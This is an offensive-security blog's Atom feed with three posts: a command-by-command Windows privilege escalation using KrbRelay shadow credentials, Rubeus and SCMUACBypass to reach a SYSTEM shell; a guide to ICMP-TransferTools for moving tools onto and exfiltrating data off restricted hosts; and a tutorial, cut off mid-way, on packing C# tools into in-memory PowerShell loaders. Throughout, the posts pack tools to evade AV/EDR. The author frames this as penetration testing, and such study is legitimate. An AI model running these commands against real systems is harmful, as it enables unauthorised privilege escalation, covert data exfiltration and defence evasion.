<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.2">Jekyll</generator><link href="https://icyguider.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://icyguider.github.io/" rel="alternate" type="text/html" /><updated>2022-05-19T16:44:55+00:00</updated><id>https://icyguider.github.io/feed.xml</id><title type="html">Icyguider’s Blog</title><subtitle>Offensive Security Blog Posts</subtitle><author><name>Icyguider (Matthew David)</name></author><entry><title type="html">No-Fix Local Privilege Escalation Using KrbRelay With Shadow Credentials</title><link href="https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html" rel="alternate" type="text/html" title="No-Fix Local Privilege Escalation Using KrbRelay With Shadow Credentials" /><published>2022-05-19T00:00:00+00:00</published><updated>2022-05-19T00:00:00+00:00</updated><id>https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials</id><content type="html" xml:base="https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html">&lt;h3 id=&quot;background-inspiration-overview--why&quot;&gt;Background (Inspiration, Overview, &amp;amp; WHY???)&lt;/h3&gt;
&lt;p&gt;Because who doesn’t want a SYSTEM shell? Thanks to &lt;a href=&quot;https://twitter.com/cube0x0&quot;&gt;Cube0x0&lt;/a&gt;, pentesters have been blessed with a tool called &lt;a href=&quot;https://github.com/cube0x0/KrbRelay&quot;&gt;KrbRelay&lt;/a&gt; that enables the exploitation of a No-Fix LPE via relaying Kerberos authentication. See below for the pre-requisites necessary for this guide:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Domain Controller without LDAP Signing enforced (default)&lt;/li&gt;
  &lt;li&gt;Domain Controller with its own server authentication certificate (for PKINIT authentication)&lt;/li&gt;
  &lt;li&gt;Ability to write the msDs-KeyCredentialLink attribute of the target computer account (default)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In addition to KrbRelay, this guide will use &lt;a href=&quot;https://github.com/GhostPack/Rubeus&quot;&gt;Rubeus&lt;/a&gt; to request a ticket using the shadow credential and to perform a S4U2self request that will impersonate a DA user on the local machine. After the impersonated ticket is imported, we will use the &lt;a href=&quot;https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82&quot;&gt;SCMUACBypass&lt;/a&gt; tool by &lt;a href=&quot;https://twitter.com/tiraniddo&quot;&gt;Tyranid&lt;/a&gt; to spawn a shell as SYSTEM. This process is pretty much identical to what’s used in the ShadowCred mode of &lt;a href=&quot;https://github.com/Dec0ne/KrbRelayUp&quot;&gt;KrbRelayUp&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/dec0ne&quot;&gt;dec0ne&lt;/a&gt;, so definitely check that out for more information.&lt;/p&gt;

&lt;h3 id=&quot;why-not-just-use-krbrelayup&quot;&gt;Why not just use KrbRelayUp?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;GOOD QUESTION!&lt;/strong&gt; KrbRelayUp is an amazing all-in-one tool. However, I noticed that certain aspects of it don’t work as expected after packing it with my reflective loaders to evade AV/EDR. Specifically, I have been unable to get the SCMUACBypass implementation of KrbRelayUp to spawn a SYSTEM shell for me after being packed.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/fh57DT9.png&quot; alt=&quot;reflective loaders&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This guide will explain how to separate the shadow credential method that KrbRelayUp uses into multiple different steps, giving you a bit more control regarding how each piece executes. For example, we can reflectively load some pieces, and execute others normally. Thanks to &lt;a href=&quot;https://twitter.com/an0n_r0&quot;&gt;an0n_r0’s&lt;/a&gt; &lt;a href=&quot;https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9&quot;&gt;guide&lt;/a&gt; regarding exploiting this LPE via RBCD which inspired me to make this guide for the shadow credential process.&lt;/p&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-0-preparing-our-tools-to-evade-avedr&quot;&gt;Part 0: Preparing our Tools to Evade AV/EDR&lt;/h3&gt;
&lt;p&gt;As stated earlier, this guide will focus on how to perform the LPE using shadow credentials in a REAL WORLD environment with AV/EDR enabled. Because of this, most of the tools we use will need to be packed with a reflective loader to prevent them from being blocked upon execution. Luckily, my public &lt;a href=&quot;https://github.com/icyguider/Nimcrypt2&quot;&gt;Nimcrypt2 PE packer&lt;/a&gt; worked very well when I was recently trying to do this against a popular EDR, so that’s what I’ll be using for this guide.&lt;/p&gt;

&lt;p&gt;Below is a list of the tools required for this process that I will be packing to prevent them from being blocked:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cube0x0/KrbRelay&quot;&gt;KrbRelay&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/GhostPack/Rubeus&quot;&gt;Rubeus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/eladshamir/Whisker&quot;&gt;Whisker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These tools were packed using Nimcrypt2 with the following arguments:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./nimcrypt -f KrbRelay.exe -t csharp -u -e -o NimCKrbR.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The final tool we will use, &lt;a href=&quot;https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82&quot;&gt;SCMUACBypass&lt;/a&gt;, will NOT require packing, as it doesn’t seem to get blocked from my testing with different AV &amp;amp; EDR solutions. My packers also seem to prevent it from working properly, so I would need to manually modify it to prevent detection if required in the future.&lt;/p&gt;

&lt;p&gt;Now that we have all the tools we’ll need ready to go, we can transfer them to our target machine and finally begin the LPE process!&lt;/p&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-1-adding-a-shadow-credential-using-krbrelay&quot;&gt;Part 1: Adding a Shadow Credential Using KrbRelay&lt;/h3&gt;
&lt;p&gt;The first step in this process is to add a shadow credential to our local machine using KrbRelay. This is pretty straight forward as it’s documented well in the readme for KrbRelay. We will use the first example listed in the KrbRelay readme, substituting in our Domain Controller with LDAP signing disabled for the SPN. After we run this command, we should have a certificate for our shadow credential that can be used to request a Kerberos ticket for the machine account via PKINIT.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\NimCKrbR.exe -spn ldap/virtualdc.testlab.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred
&lt;/code&gt;&lt;/pre&gt;
&lt;details&gt;
  &lt;summary&gt;See Screenshot&lt;/summary&gt;

&lt;img alt=&quot;Adding a Shadow Credential Using KrbRelay&quot; src=&quot;https://i.imgur.com/acnlvYN.png&quot; /&gt;
&lt;/details&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-2-requesting-a-machine-account-ticket-via-pkinit&quot;&gt;Part 2: Requesting a Machine Account Ticket via PKINIT&lt;/h3&gt;
&lt;p&gt;Once we have a certificate for our shadow credential, we can use it with Rubeus to request a Kerberos ticket for the machine account via PKINIT. The example command below will use AES256 as the encryption type in cases where RC4 isn’t supported and specifies the /nowrap flag so we can more easily copy the resulting ticket.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\NimCRube.exe asktgt /user:RICHARD-PC$ /certificate:CERTIFICATE /password:PASSWORD /enctype:AES256 /nowrap
&lt;/code&gt;&lt;/pre&gt;
&lt;details&gt;
  &lt;summary&gt;See Screenshot&lt;/summary&gt;
  
&lt;img alt=&quot;Rubeus Request Machine Account Ticket via PKINIT&quot; src=&quot;https://i.imgur.com/s6Mb5ls.png&quot; /&gt;
&lt;/details&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-3-perform-s4u2self-for-service-ticket-impersonating-a-da&quot;&gt;Part 3: Perform S4U2self for Service Ticket Impersonating a DA&lt;/h3&gt;
&lt;p&gt;The next part of the process is to use the ticket we obtained in the previous step to perform a S4U2self request to acquire a service ticket for the local machine impersonating a Domain Admin. Technically, any domain user that has local admin rights to the local machine can also be used for the impersonation, but I find just using a DA makes things a bit easier. We will be doing this using Rubeus while making sure to supply the /ptt flag so that the resulting service ticket is automatically imported into the current session.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\NimCRube.exe s4u /self /user:RICHARD-PC$ /impersonateuser:randy /altservice:host/RICHARD-PC /ptt /ticket:TICKET
&lt;/code&gt;&lt;/pre&gt;
&lt;details&gt;
  &lt;summary&gt;See Screenshot&lt;/summary&gt;
 
&lt;img alt=&quot;Rubeus S4U2Self Request and Service Ticket Import&quot; src=&quot;https://i.imgur.com/jPR02GW.png&quot; /&gt;
&lt;/details&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-4-spawn-a-system-shell-via-scmuacbypass&quot;&gt;Part 4: Spawn a SYSTEM Shell via SCMUACBypass&lt;/h3&gt;
&lt;p&gt;The final step in this process is to use the SCMUACBypass tool to spawn a shell as SYSTEM. This tool will use the imported ticket to authenticate to the local system and create a new service, so it’s a good idea to check to make sure everything looks correct using the klist command before executing it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;klist
.\SCMUACBP.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;BOOM SYSTEM SH3LL ! ! !&lt;/em&gt;&lt;/p&gt;

&lt;details&gt;
  &lt;summary&gt;See Screenshot&lt;/summary&gt;

&lt;img alt=&quot;Spawn System Shell via SCMUACBypass&quot; src=&quot;https://i.imgur.com/sIeeaWG.png&quot; /&gt;
&lt;/details&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-5-cleaning-up&quot;&gt;Part 5: Cleaning Up&lt;/h3&gt;
&lt;p&gt;This step is optional; however it is highly recommended, especially if you plan on repeating this process on the same machine later. The following command can be executed via the SYSTEM shell to clean up the service created by the SCMUACBypass tool:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sc delete UacBypassedService
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our shadow credential can be removed from the local machine by using the &lt;a href=&quot;https://github.com/eladshamir/Whisker&quot;&gt;Whisker&lt;/a&gt; tool. We can first run the following command to find its DeviceID:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\NimCWhisker.exe list /target:RICHARD-PC$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The shadow credential can then be removed like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\NimCWhisker.exe remove /deviceID:DEVICE_ID /target:RICHARD-PC$
&lt;/code&gt;&lt;/pre&gt;
&lt;details&gt;
  &lt;summary&gt;See Screenshot&lt;/summary&gt;

&lt;img alt=&quot;Clean up SCMUACBypass and Shadow Credential&quot; src=&quot;https://i.imgur.com/ZImr4wC.png&quot; /&gt;
&lt;/details&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-6-the-end&quot;&gt;Part 6: The End!&lt;/h3&gt;

&lt;p&gt;This concludes the blog post! Please feel free to reach out to me if you have any questions or feedback. Also, I’ve made a quick video demonstrating this process on a fully up-to-date Windows 10 PC with Defender enabled, so definitely check that out if you’re interested!: &lt;a href=&quot;https://www.youtube.com/watch?v=TDZwx9LERFw&quot;&gt;https://www.youtube.com/watch?v=TDZwx9LERFw&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Big thanks to the people below for their amazing work on this topic!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/cube0x0&quot;&gt;Cube0x0&lt;/a&gt; for &lt;a href=&quot;https://github.com/cube0x0/KrbRelay&quot;&gt;KrbRelay&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/harmj0y&quot;&gt;Harmj0y&lt;/a&gt; for &lt;a href=&quot;https://github.com/GhostPack/Rubeus&quot;&gt;Rubeus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/tiraniddo&quot;&gt;Tyranid (James Forshaw)&lt;/a&gt; for &lt;a href=&quot;https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82&quot;&gt;SCMUACBypass&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/dec0ne&quot;&gt;Dec0ne&lt;/a&gt; for &lt;a href=&quot;https://github.com/Dec0ne/KrbRelayUp&quot;&gt;KrbRelayUp&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/elad_shamir&quot;&gt;Elad Shamir&lt;/a&gt; for &lt;a href=&quot;https://github.com/eladshamir/Whisker&quot;&gt;Whisker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/an0n_r0&quot;&gt;an0n_r0&lt;/a&gt; for &lt;a href=&quot;https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9&quot;&gt;KrbRelay with RBCD Privilege Escalation HOWTO&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name>Icyguider (Matthew David)</name></author><category term="Other" /><summary type="html">Background (Inspiration, Overview, &amp;amp; WHY???) Because who doesn’t want a SYSTEM shell? Thanks to Cube0x0, pentesters have been blessed with a tool called KrbRelay that enables the exploitation of a No-Fix LPE via relaying Kerberos authentication. See below for the pre-requisites necessary for this guide:</summary></entry><entry><title type="html">Transferring Files over ICMP in Restricted Network Environments</title><link href="https://icyguider.github.io/2022/02/01/Transferring-Files-Over-ICMP.html" rel="alternate" type="text/html" title="Transferring Files over ICMP in Restricted Network Environments" /><published>2022-02-01T00:00:00+00:00</published><updated>2022-02-01T00:00:00+00:00</updated><id>https://icyguider.github.io/2022/02/01/Transferring-Files-Over-ICMP</id><content type="html" xml:base="https://icyguider.github.io/2022/02/01/Transferring-Files-Over-ICMP.html">&lt;h3 id=&quot;background-inspiration--why&quot;&gt;Background (Inspiration &amp;amp; WHY???)&lt;/h3&gt;
&lt;p&gt;Being able to transfer files to and from a system can sometimes make or break a penetration test. If we are unable to download the tools we need or exfiltrate useful data, the tests we can run are very limited. This happens most frequently when we are provided with a virtual desktop via something like Citrix, VMWare Horizon Client, or AWS Workspaces. These workstations are often locked down as much as possible to prevent us from being able to do much, particularly move data on and off the system.&lt;/p&gt;

&lt;p&gt;Most recently, my team had a penetration test a couple of months ago where this was the case. We were given access to a virtual desktop via Citrix that had a very locked down network, allowing no outbound access via conventional protocols like HTTP, FTP, SSH, and even DNS. The only protocol that was allowed outbound access was ICMP, in which I discovered that there were few solutions online that allowed for transferring files over it. Many of the tools/solutions that did exist were not compatible with Windows, and the ones that were had many significant drawbacks, such as requiring compiled binaries to be dropped to the disk (how?) or only being able to transfer files off the system and not to it.&lt;/p&gt;

&lt;p&gt;This is the scenario that led me to create &lt;a href=&quot;https://github.com/icyguider/ICMP-TransferTools&quot;&gt;ICMP-TransferTools&lt;/a&gt;, a collection of scripts designed to move files to and from Windows hosts in restricted network environments. This is accomplished using a total of 4 different files, consisting of a python server and PowerShell client for each transfer direction (Download &amp;amp; Upload). This guide will cover how to use these scripts so that we will hopefully never get stuck again during penetration tests where the network is locked down and ICMP is available.&lt;/p&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-1-how-does-it-work&quot;&gt;Part 1: How does it work?&lt;/h3&gt;

&lt;p&gt;As stated above, &lt;a href=&quot;https://github.com/icyguider/ICMP-TransferTools&quot;&gt;ICMP-TransferTools&lt;/a&gt; contains two scripts for each transfer direction: one script that will send the desired file and another that will receive it. The script that is responsible for sending the desired file will first split the file into blocks of 1000 bytes each, and then send those blocks to the receiving script one at a time over ICMP. The receiving script will take the blocks as they come and save them to an output file. See below for how this process works in action as seen by Wireshark.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/6C9RvZu.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-2-transferring-files-to-a-windows-host-via-icmp&quot;&gt;Part 2: Transferring Files to a Windows Host via ICMP&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/icyguider/ICMP-TransferTools&quot;&gt;ICMP-TransferTools&lt;/a&gt; includes two scripts that enable the transfer of a remote file onto a Windows host in a restricted network environment. The first is ICMP-SendFile.py, which is the script that hosts the file and sends it to the client. This script is designed to run on a public facing Linux server as root. The other is Invoke-IcmpDownload.ps1, which is the client that will reach out to the Linux server and download the file to the Windows host over ICMP.&lt;/p&gt;

&lt;p&gt;Now you may be wondering, “How do we get the client script onto the Windows host if we are unable to transfer files without it?”. This is a great question and something I had to consider when writing these scripts. The answer is simple, we will just type it out in notepad or PowerShell ISE and then save it to the disk. This isn’t ideal, however there aren’t really any other options. I have optimized the script to be as small as possible (35 lines of code), so it really shouldn’t take more than 10 minutes to type it out. This will be the only script we have to type out like this, as we can use it to download anything that we’d need going forward, including the other PowerShell client used to exfiltrate files off the system.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/X3Q0mMZ.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once we have our PowerShell script on the Windows host, we need to start the Python script on our Linux server to stage the file we want to download. See below for the script’s usage:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
  source                Public IP address of current host
  destination           Public IP address of destination host
  file                  File to transfer over ICMP

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Verbosely print progress
  -b 1000, --block-size 1000
                        Size of each block (Default: 1000)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;As you might notice, one of the required arguments is the public IP address of the destination host. Given that we will be using this script in a restricted network environment, we can’t simply go to a website to retrieve our public facing IP as we would normally. Since we only have outbound access via ICMP, we can send some pings to our Linux server in order to view the public IP of our Windows host. This can be done by using tcpdump like so:&lt;/p&gt;

&lt;p&gt;Run on Linux server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump icmp
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then ping the Linux server from the Windows client:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ping -n 1 ServerIPAddress
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/xHvmEOL.png&quot; alt=&quot;alt txt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we have our Windows host’s public IP address, all we need to do is pick what file we want to send over to it. For this demo I’ll be using Seatbelt, as it has many useful features for enumerating a Windows host. We can’t simply use it as is however, as a real-world environment would definitely have some sort of Antivirus or EDR in place that would block and delete our file as soon as it is downloaded. To mitigate this while staying within the realm of open-source tooling, I will be packing Seatbelt using Cas van Cooten’s newly released Nim packer &lt;a href=&quot;https://github.com/chvancooten/NimPackt-v1&quot;&gt;NimPackt&lt;/a&gt;. Big shout out to him for this awesome project!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 NimPackt.py -e execute-assembly -i bins/Seatbelt.exe -o Seatbelt -S -v --nosyscalls
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/seq1MAN.png&quot; alt=&quot;alt txt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can then upload the packed Seatbelt file to our Linux server and place it in the same directory where our ICMP-TransferTool scripts live. We are now ready to run the ICMP-SendFile.py script, giving it our server’s IP, the Windows host’s public IP, and our packed exe file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./ICMP-SendFile.py ServerIPAddress ClientIPAddress Seatbelt.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/Swbrrjg.png&quot; alt=&quot;alt txt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As seen in the screenshot above, the python file will give us the exact command we need to run once we’ve imported our PowerShell client script. The usage for the PowerShell client is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Once we run the PowerShell client, we can see that it will connect to our python server and begin the download process. After a few seconds/minutes (depending on the file size), we will see the script complete, and our file will have been successfully downloaded to the Windows host over ICMP.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/tbSPibw.png&quot; alt=&quot;alt txt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;*NOTE: The ICMP-SendFile.py script has an optional argument (-b) that allows the user to specify how much data is sent in each individual ICMP request. It is advised to leave this at its default value as it really shouldn’t need to be changed in most situations. If for some reason you are noticing that your client has trouble downloading files, try specifying a lower number to this parameter as your client may be limiting the size of ICMP packet that you can send. The default size of ping data is 32 bytes, so it may be best to start with that if you are having issues.&lt;/p&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-3-transferring-files-from-a-windows-host-via-icmp&quot;&gt;Part 3: Transferring Files from a Windows Host via ICMP&lt;/h3&gt;

&lt;p&gt;Now that we can download files and run our tools, we might want to exfiltrate the output of our tools or other sensitive data back to our Linux server for further use. This can be accomplished with ICMP-TransferTools’s included ICMP-ReceiveFile.py and Invoke-IcmpUpload.ps1 scripts. Like the previous two scripts we used to download files, the python server needs to be executed first on our Linux server as root to listen for ICMP requests. The PowerShell script can then be loaded on the Windows host and executed to upload the desired file to the Linux server.&lt;/p&gt;

&lt;p&gt;Since we already have a way to download files to our Windows host over ICMP, we can simply download our new PowerShell client the same way we did with Seatbelt.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/AzbiwP7.png&quot; alt=&quot;alt txt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With our PowerShell client that can upload via ICMP now on our Windows host, we will use Seatbelt to generate a report that we will upload to our Linux server for our demo.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\Seatbelt.exe -group=remote -outputfile=&quot;out.txt&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/9UiFpE8.png&quot; alt=&quot;alt txt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We now have to start the ICMP-ReceiveFile.py script on our Linux sever so that it is ready to accept requests from our client. Its usage can be found below:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
  src         Public IP Address of client
  file        File to write data to

optional arguments:
  -h, --help  show this help message and exit
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You will notice that we again need to provide the public IP address of our Windows host. This is needed to prevent the python script from accepting pings requests coming from hosts other than our client. We will now execute the python script like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./ICMP-ReceiveFile.py ClientIPAddress out.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/uSmLnss.png&quot; alt=&quot;alt txt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With the python script now listening for requests, we can load and execute our PowerShell client on the Windows host. The usage for this script is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;After running the PowerShell client, we can see that it connects to our python server and begins the upload process. After a few seconds/minutes (depending on the file size), we will see the script complete, and our file will have been successfully uploaded to our Linux server over ICMP.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/9D723aO.png&quot; alt=&quot;alt txt&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;part-4-the-end&quot;&gt;Part 4: The End!&lt;/h3&gt;

&lt;p&gt;I hope you all enjoyed this blog post. Please feel free to reach out to me if you have any questions. Also, while I’ve tried to make these scripts as reliable as possible and think I’ve been relatively successful in doing so, you still might occasionally receive some unexpected behavior. Such is life when using ICMP as a data transfer protocol (lol). If you have any ideas of how these scripts can be improved, I’d be more than grateful for any pull requests made to the GitHub project. Thanks so much!&lt;/p&gt;

&lt;p&gt;Credits/Greetz:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/bdamele&quot;&gt;Bernardo Damele&lt;/a&gt; for &lt;a href=&quot;https://github.com/bdamele/icmpsh&quot;&gt;icmpsh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/chvancooten&quot;&gt;Cas van Cooten&lt;/a&gt; for &lt;a href=&quot;https://github.com/chvancooten/NimPackt-v1&quot;&gt;NimPackt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name>Icyguider (Matthew David)</name></author><category term="Other" /><summary type="html">Background (Inspiration &amp;amp; WHY???) Being able to transfer files to and from a system can sometimes make or break a penetration test. If we are unable to download the tools we need or exfiltrate useful data, the tests we can run are very limited. This happens most frequently when we are provided with a virtual desktop via something like Citrix, VMWare Horizon Client, or AWS Workspaces. These workstations are often locked down as much as possible to prevent us from being able to do much, particularly move data on and off the system.</summary></entry><entry><title type="html">Converting C# Tools to PowerShell</title><link href="https://icyguider.github.io/2022/01/03/Convert-CSharp-Tools-To-PowerShell.html" rel="alternate" type="text/html" title="Converting C# Tools to PowerShell" /><published>2022-01-03T00:00:00+00:00</published><updated>2022-01-03T00:00:00+00:00</updated><id>https://icyguider.github.io/2022/01/03/Convert-CSharp-Tools-To-PowerShell</id><content type="html" xml:base="https://icyguider.github.io/2022/01/03/Convert-CSharp-Tools-To-PowerShell.html">&lt;h3 id=&quot;background-inspiration--why&quot;&gt;Background (Inspiration &amp;amp; WHY???)&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/S3cur3Th1sSh1t/PowerSharpPack&quot;&gt;PowerSharpPack&lt;/a&gt; by &lt;a href=&quot;https://github.com/S3cur3Th1sSh1t&quot;&gt;S3cur3Th1sSh1t&lt;/a&gt; is a collection of C# binaries embedded in PowerShell scripts that my pentest team often uses during network penetration tests to run useful tools like Rubeus, Certify, and Seatbelt. It is particularly useful because it allows us to run these tools directly in memory without writing to the disk. Combined with running an AMSI bypass beforehand, it has pretty much become a guaranteed way that our team can use the most popular pentest tools without being blocked by AV/EDR.&lt;/p&gt;

&lt;p&gt;In this post, we will be looking at how we can make our own “PowerSharpPack” by learning how to convert ANY C# tool into a PowerShell script ourselves. This is useful in cases where we want to modify a specific tool’s default behavior, use a tool that hasn’t already been converted for us, or use a custom tool that we develop ourselves. This tutorial by no means covers every way to accomplish this and is just my personal process. Feel free to jump around to the parts that interest you the most!&lt;/p&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-1-simple-hello-world-demo&quot;&gt;Part 1: Simple Hello World Demo&lt;/h3&gt;

&lt;p&gt;To begin, we are going to start with a simple hello world program to learn exactly how the conversion process works. Below is the is the applicable code we’re starting with:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C#&quot;&gt;using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace HelloPentestTeam
{
    class Program
    {
        static void Main()
        {
            Console.WriteLine(&quot;Hello Pentest Team!&quot;);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In this program, along with all others that we will look at, there are two steps that we need to confirm to ensure that it can be converted for use in PowerShell. The first step is to find the Main method of the program, which class it belongs to, and what namespace that class falls under. In this example it’s very simple as there’s only 1 file, and we can clearly see that the Main method falls under the “Program” class of the “HelloPentestTeam” namespace.&lt;/p&gt;

&lt;p&gt;The second step is to ensure that the Main method and the class it belongs to are using the “public” access modifier. This is so that the PowerShell process we try to load the file with can access the class and Main method in order to execute it. If the class and Main method are set to anything else, it will result in an error later.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/XONJ63q.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now our C# program is ready to be converted into a PowerShell script. Compile the binary and locate where it’s saved on your system. Then open PowerShell ISE or a terminal and run the following code, replacing the value of the $FilePath variable with the location of your compiled binary.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;$FilePath = &quot;INSERT_FULL_PATH_TO_COMPILED_FILE_HERE&quot;
$File = [System.IO.File]::ReadAllBytes($FilePath);
$Base64String = [System.Convert]::ToBase64String($File);
echo $Base64String | Out-File -FilePath &quot;Invoke-HelloPentestTeam.ps1&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/mmuctOZ.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After running the code, there should be a file called “Invoke-HelloPentestTeam.ps1” located in the current directory containing a base64 encoded blob of the compiled file. We will structure the rest of the PowerShell script around this by first assigning the blob to a variable, and then putting it inside a function.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;function Invoke-HelloPentestTeam.ps1
{
	$blob = &quot;BASE64 ENCODED BINARY&quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/kHdM6Ji.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next, we will add a line of code that will convert the encoded base64 blob back into raw byte data, and then load it into memory.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;$load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));
&lt;/code&gt;&lt;/pre&gt;

